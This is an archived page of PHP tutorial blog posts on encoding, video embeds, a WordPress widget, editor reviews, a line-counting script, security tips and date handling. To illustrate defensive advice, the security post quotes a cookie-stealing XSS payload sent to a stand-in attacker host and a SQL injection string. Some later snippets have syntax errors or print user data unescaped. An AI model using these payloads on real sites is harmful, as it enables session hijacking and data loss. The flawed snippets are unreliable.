You Are Here Home > PHP

PHP

PHP: Problem With Displaying French Accented Characters; black diamond…

If you have this problem and your accented characters are being replaced by black diamonds with question marks in them and you tried EVERYTHING you could find and nothing worked and no one seems to know what’s going on and you think it’s PHP or Apache that is causing this issue and you tried changing their configuration directives and you are pulling your hair out then this could be your editor!

Go to it’s preferences, most of them have a section for font encoding, for example in Komodo Edit, go to:

Preferences > Fonts and Colors > Under the Fonts tab > There is the font encoding, choose UTF-8

After this step you might have to change the encoding of the current file, again most editors should be able to do this, refer to your editor’s docs for more info on this, but here is how to do this in Komodo Edit:

Open File > Edit > Current File Settings > In File Settings Box > Change Encoding To UTF-8 > Save

and Viola!

PHP: Problem With Displaying French Accented Characters; black diamond…
Comments (0)   Filed under: Komodo Edit, PHP, Web Design, Web Development   Posted by: Codehead

PHP: Converting YouTube and Vimeo Links To YouTube Player and Vimeo Player

Here is a simple function that will do this for you:

function convert_videos($string) {
	$rules = array(
		'#http://(www\.)?youtube\.com/watch\?v=([^ &\n]+)(&.*?(\n|\s))?#i' => '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/$2"></param><embed src="http://www.youtube.com/v/$2" type="application/x-shockwave-flash" width="425" height="350"></embed></object>',
 
		'#http://(www\.)?vimeo\.com/([^ ?\n/]+)((\?|/).*?(\n|\s))?#i' => '<object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=$2&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=$2&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>'
	);
 
	foreach ($rules as $link => $player)
		$string = preg_replace($link, $player, $string);
 
	return $string;
}

Use it simply like this:

echo convert_videos($the_string_that_might_contain_the_link);

I hope this helps someone :)

PHP: Converting YouTube and Vimeo Links To YouTube Player and Vimeo Player
Comments (4)   Filed under: PHP, Web Development   Posted by: Codehead

How To Create WordPress Widgets

No need for a huge fancy post, here is a very simple Wordpress widget:

You must paste this code into your theme’s functions.php file located at: /wp-content/themes/YOUR_THEME

class My_Simple_Widget {
 
   function control(){
      $data = get_option('My_Simple_Widget_data');
      ?>
         <p><label>Title:</label> <input name="My_Simple_Widget_title" type="text" value="<?php echo $data['title']; ?>" /></p>
         You can have whatever you want here, even a huge form with any kind of form field you want...
      <?php
      if (isset($_POST['My_Simple_Widget_title'])) {
			$data['title'] = attribute_escape($_POST['My_Simple_Widget_title']);
			update_option('My_Simple_Widget_data', $data);
      }
   }
 
   function widget($args) {
		$data = get_option('My_Simple_Widget_data');
		echo $args['before_widget'];
		echo $args['before_title'] .$data['title'] .$args['after_title'];
		echo 'Here you can have whatever you can imagine...';
		echo $args['after_widget'];
   }
 
}
 
wp_register_sidebar_widget('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'widget'));
wp_register_widget_control('My_Simple_Widget_ID', 'My Simple Widget Title', array('My_Simple_Widget', 'control'));

This widget will show up in your dashboard under Appearance > Widgets and you can add it to your sidebar.

I hope this helps :)

How To Create WordPress Widgets
Comments (0)   Filed under: PHP, Programming, Web Design, Web Development, Wordpress   Posted by: Codehead

The Best Overall Code Editor Ever: Komodo Edit

A while back I wrote a post about what I think is the best Python code editor but I decided to write an update and write a little more about Komodo Edit…

I use Dreamweaver to write HTML/CSS/JavaScript/PHP code and a few days ago I decided to open Komodo Edit and see how it does with PHP.

I did try other editors for PHP but their support for HTML and CSS was lame and I’m so used to Dreamweaver’s comprehensive code completion features.

Well, I was surprised that Komodo Edit has all those features (& more) and handles PHP/CSS/HTML/JavaScript beatuifully, open a new PHP file and after ?> type:

<a

And then hit space, it will suggest everything Dreamweaver suggests and more! then write:

style=”

And again it will suggest every CSS property, then type:

:

It will suggest all the possible values, more than Dreamweaver…

The other thing is that it will show you function descriptions for all the functions and that could be very handy.

I have to say that I don’t know if I’m going to pay for Dreamweaver ever again and if you are looking for a free and excelent code editor, try Komodo Edit.

I have no affiliation with ActiveState and what I said above is my personal thoughts and ideas and an attempt to show this excellent/free/open-source product to others.

Happy Coding.

The Best Overall Code Editor Ever: Komodo Edit
Comments (1)   Filed under: CSS, HTML/XHTML, JavaScript, Komodo Edit, PHP, Web Design, Web Development   Posted by: Codehead

The Best Python Code Editor: Komodo Edit

I looked for a Python editor a lot, I found Pydev which is a plugin for Eclipse and since Eclipse sucks, it’s ugly and the code looks ugly too, it just kills my creativity, it’s also slow on top of that.

Then I found IronPython plugin for Microsoft Visual Studio, this one requires Visual Studio which is paid and it doesn’t make your life easier, for example if I have:

def some_func():
   pass

Now, after “pass” if I hit “Enter” I want to get back to the beginning of the next line but this wasn’t happening in IronPython. (+ a bunch of other things)

I guess I got spoiled because I use Dreamweaver to write PHP and it just does everything as you expect, it’s smooth and well thought out, much like other Macromedia products; take Fireworks for example, those who use Fireworks and Photoshop know the brilliance behind the design of Fireworks’s UI… Why didn’t Macromedia buy Adobe?!

Anyway, if you are like me and feel the same way, try Komodo Edit. I have nothing to do with it or ActiveState but I have to say that this editor made my life so much easier and I’m not looking back. It also has support for a bunch of other languages like PHP etc.

EDIT: So after using this great text editor for a little while, I decided to write a quick list of pros and cons:

Pros:
1 – It’s free.
2 – It’s open-source.
3 – It’s nice looking. (I care about this, I’m convinced that it effects creativity…)
4 – It’s smooth and fast.
5 – It does what you expect it to do; very intuitive.
6 – It’s written by people who love writing code.
7 – It’s cross-platform.
8 – It supports: PHP, Python, Ruby, Perl and Tcl, plus JavaScript, CSS, HTML and template languages like RHTML, Template-Toolkit, HTML-Smarty and Django.
9 – It supports code completion.
10 – It has great help and docs.

Cons:
None.

Happy Coding…

The Best Python Code Editor: Komodo Edit
Comments (5)   Filed under: Annoying Stuff, IDEs, PHP, Programming, Python, Web Development   Posted by: Codehead

Site Speed Is A New Ranking Factor; 8 tips on how to optimize your site

1 – Reduce the size of your pages.

2 – Switch to CSS and use proper-modern HTML, modern web pages that use CSS for layout properly, are usually smaller in size and faster to load.

3 – If you have a blog, don’t show 50 posts on your front page, show 10, more posts means slower load times. You can set the number of posts on your blog pages in most modern blogging platforms like Wordpress.

4 – (developers) Turn off output buffering on large pages so that your site responds quickly to requests by Googlebot, with output buffering on, the output will be captured and saved until it’s fully generated before it’s sent back to Googlebot (or user’s browser)

5 – (developers) Turn on output compression, this will crunch some pages upto (or more than) 80% in size.

6 – Use a browser extension like YSlow so you can get more information on your site’s performance.

7 – (developers) Sometimes you code is slow in places where you least expect, (for PHP developers) use http://codingrecipes.com/finding-and-fixing-bottlenecks-slow-parts-in-your-php-code or something similar to get an idea of where the slow parts are so you can fix them.

8 – Get a Google Webmaster Tools account and you will be able to see more information there as well.

Site Speed Is A New Ranking Factor; 8 tips on how to optimize your site
Comments (1)   Filed under: PHP, Performance, SEO, Search Engines, Web Development   Posted by: Codehead

Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern

This is another thread from our forums which we are closing down soon.

This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories.

It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.

You also have an option to exclude file extensions and directories.

The other thing about this script is that it is a great little example of composite design pattern in action; every directory is an object that will count all the lines (in the files) in it and asks it’s sub directories to do the same, then the sub directories also repeat the same process.

<?php
 
	/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script or remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/
 
	define('SHOW_DETAILS', true);
 
	class Folder {
 
		var $name;
		var $path;
		var $folders;
		var $files;
		var $exclude_extensions;
		var $exclude_files;
		var $exclude_folders;
 
 
		function Folder($path) {
			$this -> path 		= $path;
			$this -> name		= array_pop( array_filter( explode(DIRECTORY_SEPARATOR, $path) ) );
			$this -> folders 	= array();
			$this -> files		= array();
			$this -> exclude_extensions = array('gif', 'jpg', 'jpeg', 'png', 'tft', 'bmp', 'rest-of-the-file-extensions-to-exclude');
			$this -> exclude_files 	    = array('count_lines.php', 'rest-of-the-files-to-exclude');
			$this -> exclude_folders 	 = array('_private', '_vti_bin', '_vti_cnf', '_vti_log', '_vti_pvt', '_vti_txt', 'rest-of-the-folders-to-exclude');
		}
 
		function count_lines() {
			if( defined('SHOW_DETAILS') ) echo "/Folder: {$this -> path}...\n";
			$total_lines = 0;
			$this -> get_contents();
			foreach($this -> files as $file) {
				if( in_array($file -> ext, $this -> exclude_extensions) || in_array($file -> name, $this -> exclude_files) ) {
					if( defined('SHOW_DETAILS') ) echo "#---Skipping File: {$file -> name};\n";
					continue;
				}
				$total_lines += $file -> get_num_lines();
			}
			foreach($this -> folders as $folder) {
				if( in_array($folder -> name, $this -> exclude_folders) ) {
					if( defined('SHOW_DETAILS') ) echo "#Skipping Folder: {$folder -> name};\n";
					continue;
				}
				$total_lines += $folder -> count_lines();
			}
			if( defined('SHOW_DETAILS') ) echo "\n Total lines in {$this -> name}: $total_lines;\n\n";
			return $total_lines;
		}
 
		function get_contents() {
			$contents = $this -> _get_contents();
			foreach($contents as $key => $value) {
				if( $value['type'] == 'Folder' ) {
					$this -> folders[] = new Folder($value['item']);
				} else {
					$this -> files[]   = new File  ($value['item']);
				}
			}
		}
 
		function _get_contents() {
			$folder = $this -> path;
			if( !is_dir($folder) ) {
				return array();
			}
			$return_array = array();
			$count		  = 0;
			if( $dh = opendir($folder) ) {
				while( ($file = readdir($dh)) !== false ) {
					if( $file == '.' || $file == '..' ) continue;
					$return_array[$count]['item']	= $folder .$file .(is_dir($folder .$file) ? DIRECTORY_SEPARATOR : '');
					$return_array[$count]['type']	= is_dir($folder .$file) ? 'Folder' : 'File';
					$count++;
				}
				closedir($dh);
			}
			return $return_array;
		}
 
	} // Class
 
	class File {
 
		var $name;
		var $path;
		var $ext;
 
 
		function File($path) {
			$this -> path = $path;
			$this -> name = basename($path);
			$this -> ext  = array_pop( explode('.', $this -> name) );
		}
 
		function get_num_lines() {
			$count_lines = count(file($this -> path));
			if( defined('SHOW_DETAILS') ) echo "|---File: {$this -> name}, lines: $count_lines;\n";
			return $count_lines;
		}
 
	} // Class
 
	$path_to_here = dirname(__FILE__) .DIRECTORY_SEPARATOR;
	$folder 		  = new Folder($path_to_here);
	echo 'Total lines of code: ' .$folder -> count_lines() ."\n\n";
 
?>
Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern
Comments (2)   Filed under: Design Patterns, Fun, PHP, Programming, Web Development   Posted by: Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure :)

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');</script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list :)
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL
Comments (9)   Filed under: PHP, Programming, Web Development   Posted by: Codehead

Learning PHP – best PHP books

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

Learning PHP – best PHP books

PHP and MySQL Web Development (4th Edition) (Developer’s Library) (Hardcover)
by, Luke Welling and Laura Thomson

This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.
Some other useful topics covered in this book are:
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.
_________________________________________________

Advanced PHP Programming
by, George Schlossnagle

This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.
_________________________________________________

PHP|Architect’s Guide to PHP Design Patterns
by, Jason E. Sweat

This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.
The book covers 16 different design patterns including:
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.
_________________________________________________

PHP|Architect’s Guide to PHP Security
by, Ilia Alshanetsky

This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.
This is a MUST read book for PHP developers.
_________________________________________________

Mastering Regular Expressions (3rd Edition)
by, Jeffrey E F Friedl

This book is the best book on Regular Expressions. If you’re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.
Plus, the 3rd edition has an entire chapter dedicated to PHP.

Learning PHP – best PHP books
Comments (0)   Filed under: PHP, Programming, Web Development   Posted by: Codehead

PHP Date/Time Handling Made Easy; a beginner’s guide to PHP time and date handling

When I started with PHP, I was a bit confused about this subject so this will hopefully help a beginner a lot.

UNIX Timestamp

UNIX Timestamp (or Unix time or POSIX time) is the number of seconds since the midnight of January 1, 1970 UTC.

You can get the current timestamp with PHP’s time() function:

<?php
	echo time();
?>

This will show you the number of seconds since January 1, 1970 UTC.

Assume that you are creating a blogging application using PHP and you want to save the time/date of the posts
with them, in your database, you can create a table like this:

CREATE TABLE IF NOT EXISTS `post` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `user_id` int(10) UNSIGNED NOT NULL DEFAULT '0',
  `title` varchar(250) NOT NULL DEFAULT '',
  `body` text NULL DEFAULT '',
  `ip_address` varchar(30) NOT NULL DEFAULT '',
  `date` int(11) DEFAULT NULL,
  `last_update` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY  (`id`),
  KEY `date` (`date`),
  KEY `last_update` (`last_update`)
);

Now, a query to insert a blog post will look something like this:

<?php
 
$query = '
	INSERT INTO post
		(
			user_id,
			title,
			body,
			ip_address,
			date,
			last_update
		)
	VALUES
		(
			' .$user_id .',
			' .mysql_real_escape_string($_POST['title']) .',
			' .mysql_real_escape_string($_POST['body']) .',
			' .mysql_real_escape_string($_SERVER['REMOTE_ADDR']) .',
			' .time() ',
			' .time() '
		)
';
?>

(I left our details about filtering $_POST array out of this, you might want to filter the $_POST array a bit)

This way the query to get all the posts, sorted by date would look like:

SELECT *
FROM post
ORDER BY date DESC

A query to get all the posts from last 24 hours would look like:

<?php
$start_date = time() - (24 * 60 * 60);
$query = "
   SELECT *
   FROM post
   WHERE date >= $start_date
   ORDER BY date DESC
";
$result = mysql_query($query);
/* ... */
?>

A Performance Tip

If you don’t pay attention, you will end up with 100s of calls to time() throughout your application and we
know that function calls have overhead so what do you do?

We can call time only ONCE and save the results in a constant which will be global also, just like the time()
function:

<?php
	define('TIME_NOW', time());
?>

Converting UNIX Time To Readable Time

How do we show what time it is? That is in a format like: Mon, 15 Aug 2005 15:12:46

There is another useful function in PHP for this purpose and that is the date() function.

First you must set a default system timezone, it’s very simple, way on top of your scripts, (in your main include
fine perhaps) call this:

<?php
	date_default_timezone_set('EST');
?>

Don’t worry if you don’t understand what’s happening, this might help clear out a bit of the confusion:
http://www.php.net/manual/en/function.date-default-timezone-set.php

Again, read on and just add the line above on top of your script…

Now back to business, here is a simple call to the date() function:

<?php
	echo date('D/M/Y', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

This will show you something like:

Sun/Jan/2010

You can see that the first argument is a format in which you want the date to be, shown and the second argument is the timestamp of the date, if you don’t provide the second argument, the current timestamp will be used.

Here is another example that shows the time also:

<?php
	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

Output:

Sun/Jan/2010 03:12:46 PM

These are some more examples: (taken from here)

<?php
// set the default timezone to use. Available since PHP 5.1
date_default_timezone_set('UTC');
 
 
// Prints something like: Monday
echo date("l");
 
// Prints something like: Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');
?>

I suggest that you read this page:

http://php.net/manual/en/function.date.php

Tip For Using The date() Function

You shouldn’t have lines like:

<?php
	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

All over your code, why?

Because if you decide to change the way you show date, then you have to go around and edit all the lines containing:

<?php
	echo date('D/M/Y h:i:s A', TIME_NOW); /* TIME_NOW was explained earlier in this same post */
?>

To fix this, you could have a constant containing your date format string like:

<?php
	define('DATE_FORMAT', 'D/M/Y h:i:s A');
?>

Then in your code, you do this:

<?php
	echo date(DATE_FORMAT, TIME_NOW);
?>

Now if you want to change the format of the date throughout your PHP application, you can just edit the line with:

<?php
	define('DATE_FORMAT', 'D/M/Y h:i:s A');
?>

And it will magically change all of them!

Better yet, I would have a function like:

<?php
 
	function display_date($timestamp = NULL) {
		echo date('D/M/Y h:i:s A', $timestamp);
	}
 
?>

Or even better yet, you could have the function return the string as a value, so you have even greater control:

<?php
 
	function get_date_string($timestamp = NULL) {
		return date('D/M/Y h:i:s A', $timestamp);
	}
 
?>

Then call it like:

<?php
	echo get_date_string(TIME_NOW);
?>

The Pain Of Finding Out The Timestamp From A Formatted Date String

I made the pain part up, fortunately there is a function that does this very easily, it is strtotime()

<?php
	echo strtotime('9/25/2010 02:28:30 PM');
?>

And bam! magically, you will get the timestamp, it doesn’t end there, you can do things like this:

<?php
	echo strtotime('today'), "\n";
	echo strtotime('today + 1 day'), "\n";
	echo strtotime("now"), "\n";
	echo strtotime("10 September 2000"), "\n";
	echo strtotime("+1 day"), "\n";
	echo strtotime("+1 week"), "\n";
	echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
	echo strtotime("next Thursday"), "\n";
	echo strtotime("last Monday"), "\n";
?>

Read more about strtotime() here:

http://php.net/manual/en/function.strtotime.php

How To Display Dates Like ‘x days ago’?

I got this function form one of the comments on PHP documentation, it’s very nice and does just this:

<?php
	function date_range($timestamp) {
		if( $timestamp < 1 ) return '';
		$difference = time() - $timestamp;
		$periods = array("second", "minute", "hour", "day", "week", "month", "year", "decade");
		$lengths = array("60",     "60",     "24",   "7",   "4.35", "12",    "10");
		for($j = 0; $difference >= $lengths[$j]; $j++)
		$difference /= $lengths[$j];
		$difference = round($difference);
		if($difference != 1) $periods[$j].= "s";
		$text = "$difference $periods[$j] ago";
		return $text;
	}
?>

And call it like:

<?php
	echo date_range(strtotime('today - 1 day'));
?>

Back To The Blog Post Example

I will show you a quick example of displaying those blog posts we talked about in the beginning of this article with a nice formatted time:

<?php
$start_date = time() - (24 * 60 * 60);
$query = "
   SELECT *
   FROM post
   WHERE date >= $start_date
   ORDER BY date DESC
";
$result = mysql_query($query);
while ($post = mysql_fetch_assoc($result)) {
	echo "<strong>{$post['title']}</strong><br />";
	echo "{$post['body']}<br />";
	echo "Published: " .date_range($post['date']) ."<br /><br />";
}
?>

This is very simplistic but demonstrates the concept.

I hope this helps. If you liked it, help spread the word, it’s always appreciated.

Good Luck :)

PHP Date/Time Handling Made Easy; a beginner’s guide to PHP time and date handling
Comments (0)   Filed under: PHP, Server Performance, Web Development   Posted by: Codehead
Older Posts »